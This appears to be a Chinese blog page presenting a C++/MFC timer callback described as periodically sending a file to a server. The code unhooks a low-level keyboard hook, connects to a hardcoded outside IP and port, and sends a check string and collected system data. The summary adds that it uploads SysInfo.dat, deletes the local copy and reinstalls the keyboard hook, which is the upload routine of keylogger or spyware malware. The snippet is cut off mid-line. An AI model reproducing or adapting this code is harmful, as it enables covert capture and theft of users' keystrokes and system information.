C++ 定时发送文件到服务器

这篇博客介绍了如何使用C++编程实现一个定时器功能,每隔一定时间将本地的SysInfo.dat文件通过TCP连接发送到指定的服务器IP地址121.42.15.225的43305端口。程序首先初始化套接字,然后建立连接,发送验证字符串,接着读取并发送文件内容,直到文件读取完毕。发送完成后,关闭文件和套接字连接,并删除本地文件。最后,重新设置键盘低级钩子。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

VOID CALLBACK TimerProc(HWND hWnd, UINT nMsg, UINT nIDEvent, DWORD dwTime){
	//SetHookOff();
	UnhookWindowsHookEx(g_hLLKeyboardHook);
	char End[7] = {"holmes"};
	AfxSocketInit();
	char a;
	//getSysInfo();
	//WSADATA wsaData;
	//WSAStartup(MAKEWORD(2, 2), &wsaData);


	char check[7] = { "nibiru" };
	//CString strIP = {L"121.42.15.225"};
	//UINT strPort = {43305};
	UINT nPort = atoi("43305");
	CString strIP = _T("121.42.15.225") ;
	CSocket s;
	s.Socket();
	s.Connect(strIP,nPort);


	/*
		SOCKET s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);sockaddr_in sockAddr;
	sockAddr.sin_family = PF_INET;
	sockAddr.sin_addr.S_un.S_addr = inet_addr("121.42.15.225");
	sockAddr.sin_port = htons(43305);*/
	//printf("I'm Client\r\n");
	//connect(s, (SOCKADDR*)&sockAddr, sizeof(SOCKADDR));
	s.Send(check,6);  //给客户端发送SysInfo结构体


	s.Send((const char *)&SysInfo, sizeof(dSysInfo), 0);  //给客户端发送SysInfo结构体
	//printf("send Sysinfo successful!\r\n");
	//Sleep(10000);
	T
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值